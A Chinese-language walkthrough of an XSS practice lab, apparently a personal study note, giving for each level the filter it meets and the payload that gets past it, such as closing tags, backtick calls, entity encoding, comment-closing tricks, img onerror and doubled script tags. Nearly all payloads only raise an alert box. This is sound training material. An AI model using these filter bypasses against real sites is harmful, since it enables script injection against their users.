本篇笔记整理基于靶场:
http://wangehacker.cn/xss-demo
0x00:
第一关基础,直接用最基本的
<script>alert(1)</script>
语句即可通关,知识点就是js的弹框语句。
0x01:
第二关重点是语句的闭合,根据给我们的代码可以分辨出这是一个文本框 ,我们需要闭合文本框的标签才可以执行我们的弹窗语句
</textarea><script>alert(1)</script>
0x02:
根据题目中下面所提供的代码来看,我们可以发现我们想要执行语句就需要将input标签闭合,同时也需要将后面的括号闭合,这里也可以注销后面的括号,这里我使用加一组括号闭合。
"><script>alert(1)</script><"
0x03:
根据右边的题意,我们可以看到这里过滤了括号,这样我们的alert的值就无法弹出,我们可以使用`符号平替,最上面esc下面的键
<script>alert`1`</script>
0x04:
根据右边的过滤语句,我们发现过滤了我们的括号和`
这里使用实体编码的方式绕过,加这个编码首先需要加一个svg标签代表要解码后面的编码值。
<svg><script>alert(1)</script>
将ascii编码转unicode
http://www.esjson.com/unicodeEncode.html
0x05:
根据右边给出的限制条件,这里过滤了注释符的-->,我们输入的所有内容都会被注释掉,我们需要闭合掉前面的注释符,可以用--!>来闭合
--!><script>alert(1)</script>
0x06
这一题的过滤条件是=前面的所有内容都为空,最简单的方式就是直接将等于换第二行,这样他前面就是空的,同时不影响第一行内容的执行。
onmousemove
=alert(1)
鼠标经过箭头处的框中触发弹窗。
0x07:
这一题的过滤中,两个尖括号中的所有内容会被清空,前端中有一个规则,就是单标签不需要闭合。我们可以使用img标签。
<img src=x onerror="alert(555)"
0x08:
这一题正常我们需要闭合<style>标签,但是过滤语句中将这个标签给过滤掉了,所以我们还是利用前端的一个换行可执行特性。
</style
><script>alert(1)</script>
0x09:
这一题他规定我们必须输入他指定的网址才能显示,我们先将他的网址输入让他可以正常显示之后我们在后面闭合添加内容。
http://www.segmentfault.com"></script><img src=x onerror="alert(1)
0x0A:
这一题往后三题的解法都是外部加载js弹窗的方式
这里直接复制结果出来,因为不支持了。
0x0A-C 出不来结果,现代的浏览器一般都不允许这种语法
http://[email protected]://127.0.0.1/abc.js
0x0B:
所有输入内容都变为大写
windows不区分大小写,linux严格区分
http://[email protected]://127.0.0.1/ABC.JS
0x0C:
<scriscriptpt src="http://127.0.0.1/ABC.JS"></scscriptript>
0x0D
根据审查题目,我们可以发现我们输入的值都被注释掉了,同时/,单引号双引号都被过滤,我们还是利用前端换行的机制,因为内容本来就是在script标签中,所以我们换行执行我们的弹窗,同时使用另一种注释方式将后面多余的单引号括号注释掉
bai
alert(1)
-->
0x0E:
这里将所有的输入都大写化,同时会将输入的标签前面加上下划线,这里可以用古英文s替换绕过,同时使用外部加载js执行,可以参考0x0C的语句(我这里也没完全成功就没有payload了)
0x0F:
根据题目中的代码可以发现这是一个执行到控制台中的语句,会将我们输入的以报错形式执行到控制台。
所以我们这里使用')将前面的括号闭合,然后用分号结束这个标签,因为这个是img单标签,后面可以不用闭合,所以我们直接用//将后面的内容注释掉。
');alert(1)//
0x10:
这一题有两种绕过方式,一种是我们先用分号将题目中的语句闭合后再输入我们需要的弹窗语句,还有一种就是直接换行执行我们的弹窗语句。我这里使用换行(问就是少打一个符号。)
注:这里如果你的值不是数字123,是字符串就需要加上双引号
0x11:
这一题会将我们所有输入的/,换行等使用符号给过滤替换,但是没有过滤双引号,所以我这里还是使用双引号加括号闭合,使用分号结束上一个语句最后使用括号加双引号闭合(做的时候有点懵,删着删着代码忽然就好了,后期分析了一下。)
");alert(1);("
0x12:
最后一个,这里完全是自己试出来的了
我们先随便输入一些值进去,然后就会发现\会被过滤,我们还是先将前面的")闭合掉,然后后面加上我们的script语句就可以了,说实话比前面的还简单,最后再把后面的闭合就ok了
")</script><script>alert(1)</script>("
这里就全部完成了,每次检测的重点就是不管遇到哪种类型,先输入看看分析一下,看看过滤了什么,然后再尝试不同方式的闭合,看看能不能执行即可。